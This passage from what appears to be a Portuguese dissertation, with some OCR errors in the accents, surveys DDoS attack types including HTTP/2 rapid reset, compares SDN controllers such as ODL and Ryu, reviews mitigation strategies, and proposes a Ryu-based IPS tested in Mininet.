3. Ataques pelo Protocolo QUIC: o Quick UDP Internet Connections (QUIC) é
um protocolo recente projetado para conexdes mais rapidas e seguras. No
entanto, a sua utilizagdo crescente torna-o um alvo perfeito para atacantes,

que sabem explorar as suas caracteristicas para realizar ataques DDoS (ver
Figura 2.5).
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Invasor
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Figura 2.4: Ataques no Protocolo QOTD
[Cloudflare, 2022]

HTTP/2 versus QUIC
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Figura 2.5: Ataques no Protocolo QUIC
[Nakutavicitite, 2020]

4. Foco na Camada 7 (Aplicacional): estes ataques concentram-se na camada
das aplica¢des do modelo open systems interconnection (OSI), onde ocor-
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rem as interagdes entre o utilizador e a aplicagdes, como pdginas web e ser-
vigos API. Geralmente, envolvem um fluxo de solicitagdes HTTP ou HTTPS
para o servidor. A intensidade destes ataques é frequentemente medida em
requests per second (RPS). Um grande ntiimero de RPS pode exceder a ca-
pacidade do servidor de processar solicita¢des legitimas, levando a negacao
de servigo. Os ataques a camada de aplica¢des, como o HTTPS/2 rapid reset
exploram vulnerabilidades no protocolo HITTP/2, utilizados para a comu-
nica¢do web. Neste tipo de ataque, sdo enviados uma série de frames RST-
STREAM de forma répida e repetida para interromper as conexdes HTTP /2
estabelecidas entre clientes e servidores. Este tipo de ataques podem ser
mais dificeis de detetar do que ataques DDoS de rede mais tradicionais,
uma vez que estes imitam o trafego normal do utilizador (ver Figura 2.6)
[Cloudflare, 2022].
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Figura 2.6: Camada de aplicacdes
[Cloudflare, 2022]

2.6 Resumo

Este capitulo apresentou uma visdo abrangente dos conceitos/pressupostos fun-
damentais necessarios para compreender o desenvolvimento desta dissertagao.
Verificou-se que:

* a SDN destacou-se pela sua flexibilidade, eficiéncia e potencial para melho-
rar a seguranga da rede, apesar dos desafios associados.

* aintroducdo ao protocolo OpenFlow e P4-INT proporcionou uma base s6-
lida para compreender as tecnologias subjacentes a SDN.

* a andlise dos controladores, com especial foco para o Ryu destacou-se pela
sua adaptabilidade e facilidade de utilizacdo na orquestragdo de redes inte-
ligentes.

* andlise das botnets e dos ataques DDoS ressaltou a importancia de uma abor-
dagem pro-ativa na detegdo e mitigacdo de ameacas.
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* o ataque HTTP/2 rapid reset é particularmente dificil de detetar, pois como
a maioria dos ataques a camada aplicacional, simula o trafego legitimo de
uso comum.

Com esses conceitos/pressupostos bem estabelecidos, estamos melhor prepara-
dos para explorar as solu¢des propostas e as pesquisas existentes nas secgdes se-
guintes.
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Estado da arte

Neste segmento, exploraremos o estado da arte em pesquisa bibliografica, um
componente crucial no desenvolvimento de qualquer estudo académico ou pro-
tissional. A pesquisa bibliogréfica é a espinha dorsal de qualquer investigacao,
fornecendo uma base sélida de conhecimento existente e novas perspetivas.

Este capitulo é estruturado por subsec¢des, cada uma abordando um aspeto fun-
damental do processo de pesquisa bibliografica, desde a estratégia selecionada
até a escolha final da literatura

3.1 Estratégia de pesquisa

3.1.1 Selecao de palavras-chave

Esta selecdo e utilizagdo de palavras-chave foi a estratégia escolhida para orien-
tar a pesquisa perante o enorme volume de informagcéao existente sobre seguranca
cibernética. Cada uma das palavras selecionada abrange uma dimensao impor-
tante do campo e, quando combinadas, oferecem um panorama abrangente das
tecnologias, técnicas e desafios envolvidos.

* Botnets: redes de dispositivos infetados com malware e controlados por um
atacante. Pesquisas com esta palavra-chave geralmente exploram métodos
de detegdo, controlo e mitigacdo de botnets.

* SDN: redes de computadores virtuais, que permitem uma gestdo centrali-
zada e configurdvel. Esta palavra permitiu dar énfase a tecnologia SDN,
usualmente utilizada para melhorar a seguranga de rede e a eficiéncia da
mitigacdo de ataques.

* Detecdo(Detection): a detecdo de ameacgas é uma parte fundamental da se-
guranca cibernética. Esta palavra direcionou a pesquisa para dados sobre as
altimas tecnologias e estratégias para identificar ataques cibernéticos atuais
ou no futuro.

19



Capitulo 3

Prevencdo(Preventing): a preven¢do de ameacas assenta no preceito de evi-
tar os ataques antes que eles ocorram, como tal inclui pesquisas sobre as
melhores praticas, politicas de seguranca e tecnologias preventivas.

DDoS: os ataques de negacdo de servigo distribuida sdo uma grande ameaca
na seguranca cibernética. Este termo permitiu abordar métodos de mitiga-
¢do, andlise de tendéncias de ataques e desenvolvimento de estratégias de
defesa.

Mitigacdo de ataques(Attack mitigation): refere-se as técnicas e estratégias
usadas para diminuir o impacto dos ataques cibernéticos. Esta palavra con-
duziu a estudos sobre respostas a incidentes, recuperagao de sistemas e me-
didas de resiliéncia.

IDS (Sistema de Detegdo de Intrusdo): um Intrusion Detection System (IDS)
é usado para detetar atividades suspeitas ou maliciosas dentro de uma rede.
Este conceito permitiu focar a pesquisa em novos modelos de IDS, integra-
¢do com outras tecnologias de seguranca e otimiza¢do de desempenho.

IPS (Sistema de Prevencdo de Intrusdo): um Intrusion prevention system
(IPS) é uma forma avangada de IDS que nédo s6 deteta, mas também desen-
volve medidas para prevenir a intrusdo. As pesquisas sobre IPS permitem
explorar técnicas de bloqueio automatico, integragdo com firewalls e estraté-
gias de resposta a ameagas.

HTTP/2 rapid reset: neste ataque, é enviado uma série de frames RST-STREAM
de forma répida para cancelar os streams dentro da ligagdo TCP estabelecida
entre cliente e servidor.

3.1.2 Critérios de inclusiao e exclusio

A combinacdo das palavras-chave selecionadas com os critérios de inclusédo e ex-
clusdo permitiram recuperar informacdo pertinente para a investigagdo desen-
volvida.

Critérios de inclusido

Atualidade do tema: priorizar pesquisas sobre questdes atuais garante que
a informacdo seja relevante e aplicdvel aos desafios e tecnologias modernas
no campo da seguranga cibernética.

Credibilidade da fonte: incluir apenas estudos baseados em fontes confia-
veis e revistos por pares assegura a credibilidade e a validade cientifica das
informacgdes recolhidas.

Ataques realizados nos dltimos 2 anos: permite a andlise de pesquisas que
estudam botnets sobre as ameacas mais recentes, particularmente em ambi-
entes de SDN.

20



Estado da arte

Critérios de exclusao

¢ Idade do ataque superior a 2 anos: excluindo estudos sobre ataques anti-
gos, a pesquisa concentra-se em tendéncias atuais e técnicas emergentes.
Este critério é particularmente relevante em seguranca cibernética, onde as
ameacas evoluem rapidamente.

* Foco exclusivo em mitigacdo: ao excluir pesquisas que se concentram ape-
nas em mitigacdo, a revisdo enfatiza a detecdo e prevengao, elementos cru-
ciais para interromper ataques antes que eles causem danos significativos.

¢ Estudos intensivos do ataque: descartar estudos que aprofundam exausti-
vamente os detalhes especificos de um tnico ataque ajuda a manter a pes-
quisa ampla e aplicdvel a uma variedade de cendrios, em vez de limitada a
um caso particular.

3.1.3 Impacto na revisao bibliografica

A aplicacdo destes critérios assegura que a revisdo bibliogréfica seja focada em
estudos atualizados e relevantes que abordam diretamente a detecdo e preven-
¢do de botnets em ambientes de SDN. Ao concentrar a aten¢do em pesquisas de
alta qualidade e dando relevancia a prética, é mais facil compreender as tendén-
cias atuais, identificar as melhores préticas e contribuir significativamente para
possiveis avangos no campo da seguranga cibernética.

Em suma, uma abordagem equilibrada entre exclusao e inclusdo cria uma base
sOlida para uma revisdo bibliogréfica informativa e inovadora.

3.1.4 Base de dados

A consulta em bases de dados académicas e bases de dados profissionais e técni-
cas, permite o acesso a informacdo variada e pertinente sobre a dete¢do e preven-
¢do de botnets.

Bases de dados académicas

¢ IEEE Xplore: é uma das fontes mais valiosas para pesquisa em engenharia
elétrica e ciéncia da computagdo. Os documentos da IEEE oferecem insights
técnicos profundos, estudos de caso e pesquisas inovadoras, o que torna
esta base de dados especialmente valiosa para tecnologias emergentes em
seguranca cibernética.

e ACM Digital Library: esta biblioteca é essencial para pesquisas em ciéncia
da computacdo e tecnologia da informacado, uma vez que oferece uma vasta

colegdo de publicagdes.
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Scopus: é uma base de dados bibliogréfica abrangente e uma ferramenta de
pesquisa amplamente utilizada por investigadores, cientistas e profissionais
em diversas dreas do conhecimento. E uma das maiores bases de dados
académicos do mundo.

Fontes de informacdes profissionais e técnicas

3.2

Cloudflare: como lider nos servigos de seguranca e desempenho de internet,
os recursos da Cloudflare fornecem informagdes préticas e estudos de caso
sobre ataques DDoS e estratégias de mitigacdo em ambientes reais.

Kaspersky: conhecida pelas suas solu¢des de seguranga cibernética, a Kas-
persky oferece informacdes sobre tendéncias de malware, incluindo a evo-
lugdo e o comportamento de botnets.

Cisco: € uma autoridade em redes e seguranga cibernética. Os seus recursos
oferecem informagdes sobre as melhores préticas, as mais recentes solugdes
de seguranca e inovagdes tecnoldgicas em SDN.

Red Hat: especializada em solugdes de software de cédigo aberto, a Red Hat
partilha informages sobre a implementagdo de seguranca em ambientes de
SDN e o uso de tecnologias de c6digo aberto para aprimorar a seguranca
cibernética.

Gatefy e Stefanini: ambos oferecem conhecimento acerca de solugdes es-
pecificas de seguranca cibernética e praticas de gestdo de seguranca. Sao
consultados como recursos adicionais para entender as solugdes praticas e
estratégias implementadas no campo.

Escolha de literatura

Todos os documentos reunidos na pesquisa determinada pelos critérios de exclu-
sdo e inclusdo previamente selecionados serdo objeto de andlise e reflexdo, através
da seguinte estratégia:

Definigdo objetivos

Categorizacdo por temas ou tépicos
Criagdo de uma matriz de comparagdo
Identificagdo de tendéncias e padrdes
Sintetizagdo e apresentacdo de resultados

Consulta de revisdes sisteméticas
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3.3 Descricao dos documentos

Neste capitulo, a selegdo de controladores e protocolos foi guiada pela avalia-
¢do criteriosa das suas vantagens em termos de compatibilidade e desempenho.
Ap6s a andlise minuciosa de uma vasta gama de documentos, tornou-se evidente
a inviabilidade de abordar cada um deles. Portanto, a escolha foi direcionada
para aqueles que ndo apenas se alinham aos requisitos técnicos do projeto, mas
também se destacam em eficiéncia e seguranga. Esses dois pilares fundamentais
sustentam a integridade e a robustez da dissertacdo, refletindo a importancia de
uma infraestrutura confidvel e segura.

3.3.1 Eficiéncia dos Controladores

A tabela presente na Figura 3.1, fornece uma visdo comparativa de cada controla-
dor SDN, destacando as suas principais caracteristicas para uma melhor compre-
ensdo. A andlise dos controladores inclui aspetos como consisténcia, linguagem,
falhas e arquitetura, proporcionando uma base sélida para a escolha do controla-
dor mais adequado para diferentes ambientes de rede.

Name Architecture Northbound API Consistency Faults  License Prog. language Version
Beacon | ] centralized multi-threaded  ad-hoc API no no GPLv2 Java v1.0
DISCO | ] distributed REST — yes — Java vl.l
ElastiCon | ] distributed RESTful APT yes no — Java v1.0
Fleet | ] distributed ad-hoc no no — — v1.0
Floodlight [159] centralized multi-threaded ~ RESTful API no no Apache Java vi.l
HP VAN SDN | | distributed RESTful API weak yes — Java v1.0
HyperFlow [1V5] distributed — weak yes — Co+ v1.0
Kandoo | | hierarchically distributed — no no — C, C4++, Python v1.0
Onix [7] distributed NVP NBAPI weak, strong  yes commercial ~ Python, C v1.0
Maestro | 1 centralized multi-threaded  ad-hoc API no no LGPLv2.1 Java v1.0
Meridian | | centralized multi-threaded  extensible APl layer  no no — Java v1.0
MobileFlow [227] — SDMN API — — — — v1.2
MuL | ] centralized multi-threaded  multi-level interface  no no GPLv2 C v1.0
NOX [20] centralized ad-hoc API no no GPLv3 C++ v1.0
NOX-MT [157] centralized multi-threaded  ad-hoc API no no GPLv3 Cat v1.0
NVP Controller [117] distributed — — — commercial — —
OpenContrail [154] — REST APL no no Apache 2.0 Python, C++, Java  v1.0
OpenDaylight [ 1] distributed REST. RESTCONF  weak no EPL v1.0 Java v1.{0,3}
ONOS [117] distributed RESTful API weak, strong  yes — Java v1.0
PANE [197] distributed PANE API yes — — — —
POX | | centralized ad-hoc API no no GPLv3 Python v1.0
ProgrammableFlow | |  centralized — — — — C vl3
Pratyaastha | ] distributed — — — — — —
Rosemary | | centralized ad-hoc — — — — v1.0
Ryu NOS [101] centralized multi-threaded  ad-hoe API no no Apache 2.0  Python v1.{0,2.3
SMaRtLight [199] distributed RESTful API yes yes — Java vl.0
SNAC | ] centralized ad-hoc API no no GPL Cat v1.0
Trema | | centralized multi-threaded  ad-hoc API no no GPLv2 C. Ruby v1.0
Unified Controller | ] — REST API — — commercial — v1.0
yane [196] distributed file system — — — — —

Figura 3.1: Controladores SDN

[Kreutz et al., 2014]

No documento "Evaluation of four SDN controllers with firewall modules"[Uddin
and Monir, 2020] verificou-se que:
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e ODL:

- Apresentou o melhor desempenho em termos de capacidades de apro-
veitamento de largura de banda e demonstrou a menor quantidade de perda
de pacotes;

- Alcancou a maior taxa de transmissdo de dados sem restri¢des, atin-
gindo 32.75 Gbits/segundo;

- Utilizou a versdo Beryllium, preferida devido ao seu histérico de de-
sempenho estdvel.
e POX:

- Apresentou taxas de transmissdo de largura de banda razodveis, po-
rém, falhou em termos de taxa de entrega de pacotes;

- Mostrou consisténcia na orquestragdo de topologias personalizadas,
com menos falhas e erros, tornando-o uma escolha conveniente para pes-
quisas e bancos de testes de rede.

* Floodlight:

- Demonstrou um desempenho razoavel para taxas de transmissdo me-
nores;

- O desempenho diminuiu consideravelmente quando a taxa de trans-
missdo aumentou, resultando num aumento significativo na perda de pa-
cotes.

* Ryu:
- Apresentou o menor rendimento em termos de transmissao ilimitada;

- Mostrou consisténcia na preservacdo da taxa de entrega de pacotes.

Em resumo, o ODL destacou-se como o controlador com o melhor desempenho
em termos de throughput, apresentando alta capacidade de largura de banda e
baixa perda de pacotes. No entanto, penso que a escolha do controlador mais
adequado dependerd sempre das necessidades e requisitos especificos da rede,
bem como da conveniéncia para os administradores de rede

3.3.2 Seguranca dos Controladores

O documento [Dziong et al., 2016] aborda a temética de seguranca de controla-
dores apresentando os seguintes resultados:

e ODL:

- Melhorias de seguranga: destaca-se pela seguranca com funcionalida-
des como AAA (Autenticacdo, Autorizacdo e Auditoria) e SNBI (Infraes-
trutura Segura de Inicializagdo de Rede) para controlar o acesso e gerir a
autenticagdo de switches.;
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- Mitigagdo de spoofing: combate a falsificagdo de identidade através da
autenticacdo baseada em tokens e procedimentos rigorosos de autenticagdo
de switches;

- Seguranca no fluxo de dados: utiliza TLS para seguranga das interfa-
ces sul e HTTPS para as interfaces norte, protegendo contra adulteracdes e
divulgacdo de informacbdes;

- Vulnerabilidades abordadas: as diferentes vulnerabilidades detetadas
anteriormente, como ataques XXE na SBI, foram mitigadas em versdes re-
centes ao usar o protocolo NETCONE

ONOS:

- Modelo de Acesso Conservador: implementa controlo de acesso rigo-
roso através da auditoria de aplicagdes e monitorizagdo constante, melho-
rando assim a seguranga;

- Permissdo de Acesso Detalhada: oferece controlo de acesso detalhado
para aplicagdes e utilizadores, categorizando o acesso aplicacional para pre-
venir acesso ndo autorizado e divulgacdo de informagdes;

- Seguranca de Comunicacdo: garante fluxos de dados seguros na SBI e
NBI com TLS e HTTPS, sendo assim similar ao OpenDaylight.

Ryu:
- Vulnerabilidades de Arquitetura: devido a sua arquitetura monolitica,

o Ryu é suscetivel a spoofing, pois carece de um mecanismo de autenticagdo
tanto na NBI quanto na SBI;

Exposicdo de Processos: o processo central é vulneravel a adulteragdes,
e a falta de mecanismos de controlo de acesso expde Ryu a potenciais ata-
ques DDoS e ao envio ndo autorizado de mensagens;

Divulgagdo de Informacgdes: a comunicac¢do entre o controlador e a NBI
nao é criptografada, tornando-a vulneravel a ataques de intercetagdo (MITM)
e a adulteracdo de dados.

Em suma, cada controlador apresenta vantagens e desvantagens, no entanto, o
ODL é o mais recomendado, ao nivel do desempenho e ao nivel dos mecanis-
mos de seguranca, em resultado de constante melhorias de seguranca e da sua
estrutura modular.

3.3.3 Detalhes de protocolos

O documento "A Method for Comparing OpenFlow and P4": [Hu et al., 2014]
analisa os diferentes detalhes dos protocolos, tais como:

¢ Flexibilidade e customizacdo: O P4 oferece um alto grau de flexibilidade e
customizagdo, permitindo que os administradores de rede criem protocolos
e algoritmos personalizados sem depender da entrada do fabricante. Esta
caracteristica pode ser vantajosa para os administradores que procuram so-
lugdes sob medida para requisitos especificos da rede.
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¢ Independéncia de Protocolo: a independéncia de protocolo do P4 permite a
criacdo de campos de cabegalho conforme necessario, proporcionando um
nivel de adaptabilidade que pode néo ser tdo facilmente alcancado com o
OpenFlow. Esta particularidade pode ser especialmente benéfica em cena-
rios que exigem processamento personalizado de pacotes.

* Desempenho e eficiéncia: A comparacdo apresentada no artigo sugere que
pode haver uma diferenca minima de desempenho entre o firmware otimi-
zado do OpenFlow e o processador de pacotes P4 no Zodiac FX, no entanto,
também se verifica uma redugdo significativa no tamanho do bindrio do
firmware P4 em comparac¢do com a versdo do OpenFlow, indicando possi-
veis redugdes de cédigo e ganhos de eficiéncia com o P4.

¢ Desenvolvimento e inovag¢do futuros: Como o P4 permite planos de da-
dos programaveis independentes de protocolo, os administradores de rede
podem consideré-lo propicio para desenvolvimento e inovagdo futuros na
funcionalidade de dispositivos de rede.

e Consideracgdo de casos de uso: Os administradores de rede devem consi-
derar cuidadosamente os casos de uso especificos e os requisitos das redes
ao avaliar o OpenFlow e o P4. As capacidades e limita¢des tinicas de cada
abordagem podem torna-las mais adequadas ou menos eficazes para dife-
rentes aplicagdes ou ambientes.

3.3.4 Compatibilidade de controladores e protocolos

No documento "On the Performance of SDN Controllers: A Reality Check": [of Elec-
trical et al., 2015], os autores abordam a compatibilidade de controladores e pro-
tocolos e apresentam como principais conclusdes:

¢ Compatibilidade do controlador: Os controladores SDN selecionados, como
Ryu, Pox, Nox, Floodlight e Beacon, suportam vérias versdes do protocolo
OpenFlow. Essa compatibilidade garante que esses controladores possam
comunicar efetivamente com os switches compativeis OpenFlow na rede.

¢ Avaliacdo de desempenho: O documento avalia o desempenho dos contro-
ladores SDN com base em seu gestdo de mensagens OpenFlow e intera¢des
com os switches de rede. As diferentes métricas de desempenho como th-
roughput, laténcia e equidade sdo avaliadas para determinar a eficdcia de
cada controlador em gerir redes baseadas em OpenFlow.

* Benchmarks do controlador: O estudo faz referéncia ao uso de ferramen-
tas de benchmark como o Cbench, que sdo projetadas para avaliar o desem-
penho dos controladores SDN na gestdo de mensagens OpenFlow. Essas
ferramentas ajudam a medir a capacidade de resposta e escalabilidade do
controlador sob diferentes condicoes de rede.
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* Evolucdo do OpenFlow: O texto menciona que novos ramos derivados da
ferramenta Cbench original visam adicionar suporte para as dltimas espe-
cificagdes do OpenFlow. Esta inovacdo destaca a evolugdo continua da tec-
nologia OpenFlow e a necessidade de ferramentas de benchmarking acom-
panharem esses avangos.

De um modo geral, podemos afirmar que o OpenFlow desempenha um
papel crucial ao permitir a comunicagdo entre os controladores SDN e os
dispositivos de rede, e uma implementagdo eficaz é essencial para otimizar
o desempenho e a eficiéncia das implanta¢des SDN.

No contexto de compatibilidade de controladores e protocolos, o Ryu surge como
a escolha mais popular para controladores SDN por varias razdes:

* Suporte para a ultima versdo do OpenFlow: O Ryu suporta a versdo mais
recente do OpenFlow. Isso garante compatibilidade com os recursos e apri-
moramentos mais recentes na tecnologia SDN.

¢ Desenvolvimento ativo e comunidade: O Ryu possui uma comunidade de
desenvolvimento vibrante e ativa, com o c6digo sendo regularmente atua-
lizado para suportar a tltima versdao do OpenFlow. Isso garante que o Ryu
permaneca atualizado com os padrdes e tecnologias SDN em evolugao.

* Documentacdo e testes abrangentes: O Ryu fornece testes unitdrios comple-
tos, documentos de desenvolvimento e verificagdes de compatibilidade com
switches que utilizam o protocolo OpenFlow. Esse nivel de documentagao
e testes ajuda na compreensdo e utilizagdo eficaz do controlador.

* Desempenho: Em avalia¢gdes de desempenho, o Ryu mostrou um desempe-
nho competitivo, especialmente quando otimizado com tecnologias como
PyPy. Com a capacidade de lidar com um alto volume de pacotes por se-
gundo, pode ser adequado para vdrios cendrios.

Em resumo, a combinagdo de suporte para os padrdes mais recentes, o de-
senvolvimento ativo, o bom desempenho e compatibilidade com outras tec-

nologias torna o Ryu uma escolha popular e acertada para implantagdes
SDN.

3.3.5 Ataques cibernéticos

De uma forma geral, podemos afirmar que existem trés tipos de mecanismos de
ataques: [Sumantra and Gandhi, 2020]

1. Ataques baseados em volume: estes ataques inundam a rede com um grande
volume de tréfego, sobrecarregando o sistema e tornando-o indisponivel
para utilizadores. Um exemplo de ataque baseado em volume é o ataque
de Ping flood, no qual o botnet envia multiplas solicita¢cdes de ping para a
vitima [Sumantra and Gandhi, 2020] .
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2. Ataques baseados em protocolo: estes ataques exploram vulnerabilidades
nos protocolos de rede para interromper o sistema. Um exemplo de ata-
que baseado em protocolo é o ataque de TCP SYN flood, no qual o atacante
explora o mecanismo de aperto de méo de trés vias do TCP para tornar a
conexdo embriondria, ndo enviando o ACK final correspondente [Sumantra
and Gandhi, 2020].

3. Ataques baseados em aplicacdes: estes ataques exploram vulnerabilidades
na camada aplicacional para interromper o sistema. Um exemplo de ata-
que baseado em aplicag¢des é o ataque de Slow HTTP, no qual os botnet en-
viam muitas sequéncias de solicitagdes HTTP incompletas para o servidor
da web, sobrecarregando o servidor e causando a negacdo de servigo [Su-
mantra and Gandhi, 2020].

4. Ataques HTTP/2 rapid reset: Estes ataques exploram a funcionalidade do
HTTP/2 para enviar uma série de frames RST-STREAM de forma rapida
e repetida, forcando o encerramento prematuro das ligacdes. O ataque
HTTP/2 rapid reset pode causar uma desestabilizagdo significativa das redes
ao interromper multiplos streams simultaneamente, resultando em perda de
performance e disponibilidade do servico. A flexibilidade e o controle cen-
tralizado oferecidos pelas SDN sdo explorados para desenvolver estratégias
eficazes de mitigacdo contra este tipo de ataque [Vidya, 2023].

3.3.6 Estratégias de Defesa e Mitigacao

As estratégias de mitigacdo de ataques informdticos sdo componentes cruciais
num plano de seguranca cibernética robusto. Os métodos mais conhecidos sdo:
[Cloudflare, 2022]

1. Protecdo ativa - Esta abordagem envolve a implementacdo de solugdes de
mitigacdo de DDoS que estdo sempre ativas, permitindo uma monitoriza-
¢do constante ao trafego de rede para identificar e responder imediatamente
a ataques DDoS. Vantagens: resposta rdpida e continua, minimizando o
tempo de inatividade e o impacto do ataque. Desvantagens: custo mais
elevado devido a necessidade de recursos constantes de monitorizacdo e
mitigagao .

2. Mitigagdo sob demanda - Os servigos entram em ag¢do apenas quando um
ataque DDoS é detetado, redirecionando o trafego para um servico de cloud
especializado em mitigacdo. Vantagens: reducdo dos custos operacionais e
do uso de recursos. Desvantagens: potencial atraso na resposta ao ataque,
permitindo que o trdfego malicioso afete o alvo por um periodo indefinido.

3. Reforgo das taticas de protegdo - Envolve a implementacgao de firewalls, sis-
temas IPS, e outras medidas de seguranga para criar camadas adicionais de
defesa. Vantagens: oferece uma defesa em profundidade, abordando di-
ferentes aspetos e vetores de ataques. Desvantagens: custo elevado pois
requer uma manutengao e atualizacdo continua para garantir eficécia.
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Neste ponto, convém realcar a necessidade de existir um equilibrio entre
Seguranga e Performance - A chave é encontrar um equilibrio onde a se-
guranga proteja efetivamente os sistemas de informagdo, mas sem tornar a
aplicagdo tdo complexa ou restritiva que afete negativamente a experiéncia
do utilizador. A seguranca deve ser uma facilitadora, ndo um obstéculo,
para o uso eficiente e eficaz do sistema.

4. Redes de distribui¢do de contetido - tem como ponto central, o uso de CDNs
e balanceamento de carga para distribuir o trafego e mitigar ataques DDoS,
mantendo a performance. Vantagens: ajuda a manter a disponibilidade e
a performance do servico mesmo quando existe um ataque. Desvantagens:
insuficiente para ataques de grande escala ou sofisticados.

5. Prote¢do na borda - permite a mitigacdo de ataques DDoS com solugdes
baseadas na borda da rede, executando a detecdo e a mitigacdo o mais pro-
ximo possivel da origem do ataque. Vantagens: reduz o tempo de resposta
ao ataque e minimiza o impacto no ntcleo da rede. Desvantagens: esta de-
pendente da capacidade e da cobertura geogréfica do provedor de servigos
na borda.

6. Honeypots - A sua utilizagdo é uma estratégia para mitigar ameagas de botnet
e outros ataques, pois fornecem uma armadilha para o atacante, permitindo
rastrear as atividades do invasor. O honeypot deve ser configurado para
reproduzir as atividades de um sistema real e interagir com o atacante de
maneira semelhante ao servigo real [Jantsch, 2016].

7. Sandboxes - Sdo ambientes isolados que permitem a execucdo de cédigo e a
observacdo de seu comportamento sem riscos para o ambiente de produgao.
Vantagens: é possivel identificar atividades maliciosas e impedir que isso
afete o sistema real [Jantsch, 2016].

3.4 Resumo

Esta dissertacdo propde uma metodologia inovadora para a detecdo e mitigacao
de ataques de HTTP/2 rapid reset em ambientes de SDN. A abordagem central do
estudo é a implementacdo de um IPS que utilize as capacidades avancadas das
SDN para monitorizar e responder a ameacas em tempo real.

A componente pratica deste projeto envolve a criagdo de um ambiente de tes-
tes utilizando o Mininet para simulacdo de redes e o controlador Ryu para ges-
tdo do trafego de rede. O objetivo é desenvolver scripts especificos em Python
que permitam a anélise detalhada do trafego HTTP/2, a identificacdo de padrdes
andmalos indicativos de ataques rapid reset e a implementagado de respostas auto-
matizadas para mitigar essas ameacas.

A revisdo bibliografica revelou que as técnicas de prevencao de botnets estdao em
constante evolucdo, com uma tendéncia crescente para a integragdo de solugdes
baseadas em SDN.
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A gestdo centralizada e a flexibilidade da SDN oferecem vantagens significativas
na monitorizacdo e resposta a ameacgas de botnets. Além disso, a capacidade da
SDN de reconfigurar dinamicamente a rede permite uma resposta rapida e eficaz
a incidentes de seguranga, o que é crucial na luta contra botnets cada vez mais
sofisticados. Por fim, a implementacdo de mecanismos como P4-int e OpenFlow
num ambiente SDN demonstrou ser eficaz na recolha da informacéo e analise do
trafego, que sdo essenciais para identificar padrdes de trafego anormais associa-
dos a botnets.
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A opgdo de utilizar SDN para aprimorar a dete¢do e prevencdo de botnets re-
presenta um passo significativo na luta contra ameacas cibernéticas. Através da
recolha eficiente de dados e da andlise avangada, é possivel ndo apenas iden-
tificar ameagas existentes, mas também adaptar-se rapidamente a novas téticas
utilizadas por botnets.

Acredito que este projeto tem o potencial, ndo s6 de estabelecer novos padrdes na
seguranca de redes e na protecdo contra ameacas cibernéticas sofisticadas, como
também de possibilitar o desenvolvimento de ferramentas de registo de dados em
SDN. Permitird ainda monitorizar e registar o trafego de rede em varios pontos
da rede, assegurando que o registo de dados seja abrangente e possa ser adap-
tado para focar em tipos especificos de trafego ou comportamento de rede. Além
disso, sera possivel integrar os dados registados com sistemas de dete¢do de ano-
malias para identificar padrdes de trafego de botnets, bem como, utilizar técnicas
de aprendizado de maquina para melhorar a precisdo da detecdo de botnets.

A utilizacdo da SDN permitird também realizar testes em ambientes controlados
que permitirdo validar a eficdcia dos mecanismos de registos de dados e imple-
mentar uma solucdo em ambientes reais para testar sua eficicia em condigdes
dindmicas e variadas. Serd possivel analisar o impacto do registo de dados no de-
sempenho da rede e otimizar, minimizando a laténcia e o uso de recursos, ajustar
os algoritmos com base nos resultados dos testes para equilibrar eficacia e efici-
éncia. Por fim, esta opgdo também permitird criar um IPS especificamente para
mitigar o ataque HTTP/2 rapid reset , utilizando a linguagem Python e o controla-
dor Ryu .

4.1 Caso de estudo e abordagem proposta

Neste capitulo, exploramos o objetivo principal deste trabalho: a mitigacdo do
ataque HTTP/2 rapid reset por meio do desenvolvimento de um IPS eficiente e ro-
busto. Esta abordagem visa especificamente combater as vulnerabilidades asso-
ciadas ao protocolo HITTP/2, que podem ser exploradas por ataques de HTTP/2
rapid reset. Através da implementagdo de um IPS personalizado, pretendemos
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ndo apenas neutralizar esses ataques em tempo real, mas também fortalecer a se-
guranca da rede contra futuras ameagas similares, garantindo assim a integridade
dos sistemas de comunicagdo baseados em HTTP/2.

4.1.1 HTTP/2 rapid reset

Este ataque pode ser caracterizado como inovador e de escala sem preceden-
tes, contudo as protecdes existentes da Cloudflare conseguiram absorver grande
parte da sua carga. Numa fase inicial, verificou-se algum impacto no trafego dos
clientes, afetando cerca de 1 por cento das solicitagdes na primeira onda de ata-
ques. No entanto, a Cloudflare, ao refinar os métodos de mitigagdo, conseguiu
interromper o ataque a todos os seus clientes sem afetar os seus sistemas. Este
ataque foi notavel, pois partindo do uso de uma botnet relativamente pequena
(cerca de 20.000 maquinas) conseguiu gerar um volume imenso de solicitagdes,
explorando vulnerabilidades no protocolo HTTP/2 [Desgats and Pardue, 2023].

* Vulnerabilidade explorada: este ataque explorou caracteristicas do proto-
colo HTTP/2 e detalhes de implementagdo do servidor, especificamente
mencionados no CVE-2023-44487. A vulnerabilidade resulta da forma como
o HTTP/2 lida com mdiltiplos fluxos e o uso de frames RST-STREAM para
cancelar solicitagoes.

* Detecdo e mitigacdo: as prote¢des existentes da Cloudflare foram, na sua
maioria eficazes contra o ataque e refinaram os seus métodos de mitigagdo
para proteger todos os clientes sem impactar os seus sistemas. A Cloud-
flare, juntamente com o Google e a AWS, coordenou a divulgagdo do ata-
que aos fornecedores afetados e aos provedores de infraestruturas criticas.
A mitigacdo contra esse tipo de ataque envolve fechar a conexdo TCP inteira
quando o abuso é detetado. O HTTP/2 suporta a finalizagdo das conexdes
usando o tipo de quadro GOAWAY. As mitigacdes para esse vetor de ataque
podem assumir vérias formas, mas geralmente concentram-se em rastrear
estatisticas de conexdo e usar varios sinais e légica.

® Detalhe técnico: os atacantes utilizaram os recursos das 20.000 maquinas
para gerar um grande niimero de solicitagdes e rapid resets, sobrecarregando
os servidores e causando uma condi¢do de negacdo de servigo. A explo-
racdo dessa vulnerabilidade revela uma fraqueza subjacente no protocolo
HTTP/2, afetando potencialmente qualquer fornecedor que tenha imple-
mentado o mesmo.

¢ Impacto nos clientes: apesar da maioria das solicita¢cdes maliciosas ter sido
bloqueada, o enorme tamanho dos ataques causou algum impacto, incluindo
um aumento nos niveis de erros 502 nos data centers mais afetados.
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Figura 4.1: Rapid Reset
[Vidya, 2023]

4.1.2 Proposta de mitigacao do ataque HTTP/2 rapid reset

Para criar um ambiente de testes eficaz que simule um ataque HTTP/2 rapid reset ,
adotaremos uma abordagem multifacetada, utilizando ferramentas e tecnologias
especificas para cada etapa do processo. Para alcancar o objetivo de mitigar o
ataque, realizaremos as seguintes etapas:

¢ Configuracio do Ambiente de Testes

VMware: Utilizaremos o0 VMware para criar Virtual Machine (VM) que hos-
pedardo os componentes necessdrios para simular o ambiente de rede. Isso

inclui a configuracdo de servidores e clientes que comunicam usando o pro-
tocolo HTTP /2.

Isolamento e controlo: As VM proporcionam um ambiente isolado e con-
